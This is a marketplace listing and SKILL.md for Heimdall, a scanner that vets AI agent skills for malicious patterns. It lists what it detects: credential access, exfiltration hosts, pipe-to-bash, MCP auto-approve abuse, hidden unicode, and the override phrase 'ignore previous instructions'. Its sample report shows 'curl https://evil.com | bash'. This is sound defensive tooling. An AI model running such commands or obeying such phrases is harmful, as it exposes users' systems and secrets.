heimdall

Category: Testing & Security | Uploader: henrino3 | Downloads: 0 | Version: v1.0（Latest）

Security scanner for AI agent skills — scans for malicious patterns before installation. Use when installing new skills from ClawHub or GitHub, auditing existing skills for security issues, or vetting third-party code.

Changelog: Source: GitHub https://github.com/henrino3/heimdall

Directory Structure

Current level: Root

📁 docs/
- 📄 hero.png 941.4 KB
📁 scripts/
- 📄 skill-scan.py 50.3 KB
📄 README.md 7.0 KB
📄 skill-scan.py 28.9 KB
📄 skill.json 624 B
📄 SKILL.md 5.1 KB

SKILL.md

---
name: heimdall
description: "Security scanner for AI agent skills — scans for malicious patterns before installation. Use when installing new skills from ClawHub or GitHub, auditing existing skills for security issues, or vetting third-party code."
---

# Heimdall - Security Scanner for AI Agent Skills

Scan OpenClaw skills for malicious patterns before installation. Context-aware scanning with AI-powered narrative analysis.

## When to Use

Use Heimdall when:
- Installing a new skill from ClawHub or GitHub
- Reviewing skills before adding to your workspace
- Auditing existing installed skills
- Someone shares a skill URL and you want to verify it's safe

## Commands

### Basic Scan
```bash
~/clawd/skills/heimdall/scripts/skill-scan.py /path/to/skill
```

### AI-Powered Analysis (Recommended)
```bash
~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /path/to/skill
```
Routes through `openclaw agent` for AI analysis (no extra API keys needed)

### Scan from URL
```bash
# Clone to temp, scan, delete
git clone https://github.com/user/skill /tmp/test-skill
~/clawd/skills/heimdall/scripts/skill-scan.py --analyze /tmp/test-skill
rm -rf /tmp/test-skill
```

### Scan All Installed Skills
```bash
for skill in ~/clawd/skills/*/; do
  echo "=== $skill ==="
  ~/clawd/skills/heimdall/scripts/skill-scan.py "$skill"
done
```

## Options

| Flag | Description |
|------|-------------|
| `--analyze` | AI-powered narrative analysis |
| `--model MODEL` | Choose model for AI analysis (e.g. `anthropic/claude-sonnet-4-5`, `google/gemini-3-flash-preview`) |
| `--strict` | Ignore context, flag everything |
| `--json` | Output as JSON |
| `-v, --verbose` | Show all findings |
| `--show-suppressed` | Show context-suppressed findings |

## What It Detects (100+ patterns)

### 🚨 Critical
- **credential_access**: .env files, API keys, tokens, private keys
- **network_exfil**: webhook.site, ngrok, requestbin
- **shell_exec**: subprocess, eval, exec, pipe to bash
- **remote_fetch**: curl/wget skill.md from internet
- **heartbeat_injection**: HEARTBEAT.md modifications
- **mcp_abuse**: no_human_approval, auto_approve
- **unicode_injection**: Hidden U+E0001-U+E007F characters

### 🔴 High
- **supply_chain**: External git repos, npm/pip installs
- **telemetry**: OpenTelemetry, Signoz, Uptrace
- **crypto_wallet**: BTC/ETH addresses, seed phrases
- **impersonation**: "ignore previous instructions"
- **privilege**: sudo -S, chmod 777

### ⚠️ Medium
- **prefill_exfil**: Google Forms data exfiltration
- **persistence**: crontab, bashrc modifications

## Example Output

### Basic Scan
```
============================================================
🔍 SKILL SECURITY SCAN REPORT v4.0
============================================================
📁 Path: /tmp/suspicious-skill
📄 Files scanned: 6
🔢 Active issues: 14
⚡ Max severity: CRITICAL
📋 Action: 🚨 CRITICAL - BLOCKED - Likely malicious
============================================================

🚨 CRITICAL (3 issues):
  [shell_exec]
    • install.sh:12 - Pipe to bash
      Match: curl https://evil.com | bash
```

### AI Analysis (--analyze)
```
============================================================
🔍 HEIMDALL SECURITY ANALYSIS 
============================================================

📁 Skill: suspicious-skill
⚡ Verdict: 🚨 HIGH RISK - Requires Significant Trust

## Summary
This skill installs code from an external company that can 
self-modify and sends telemetry to third-party servers.

## Key Risks

### 1. Data Exfiltration
OpenTelemetry sends execution traces to external servers.
YOUR agent's behavior → THEIR servers. 🚨

### 2. Supply Chain Attack Surface
Git clones from external repos during install and self-evolution.

## What You're Agreeing To
1. Installing their code
2. Letting it modify itself
3. Sending telemetry to them

## Recommendation
🔴 Don't install on any machine with real data/keys.
============================================================
```

## Context-Aware Scanning

Heimdall understands context to reduce false positives (~85% reduction):

| Context | Severity Adjustment |
|---------|---------------------|
| CODE | Full severity |
| CONFIG | -1 level |
| DOCS | -3 levels (patterns in README are examples) |
| STRING | -3 levels (blocklist definitions) |

Use `--strict` to disable context adjustment and flag everything.

## Security Sources

Patterns derived from:
- [Simon Willison - Moltbook Security Analysis](https://simonwillison.net/2026/Jan/30/moltbook/)
- [PromptArmor - MCP Tool Attacks](https://promptarmor.com)
- [LLMSecurity.net - Auto-Approve Exploits](https://llmsecurity.net)
- [OWASP - Injection Attacks](https://owasp.org/Top10/)

## Installation Notes

After installing from ClawHub, create an alias for convenience:
```bash
echo 'alias skill-scan="~/clawd/skills/heimdall/scripts/skill-scan.py"' >> ~/.bashrc
source ~/.bashrc
```

AI analysis routes through `openclaw agent` automatically (uses whatever model your gateway has configured). No extra API keys needed.

## Credits

Built by the Enterprise Crew 🚀
- Ada 🔮 (Brain + BD/Sales)
- Spock 🖖 (Research & Ops) 
- Scotty 🔧 (Builder)

GitHub: https://github.com/henrino3/heimdall

Comments 0

Latest | Hot

Please login before commenting.

No comments yet. Be the first one!

heimdall

Directory Structure

SKILL.md

Report

Notice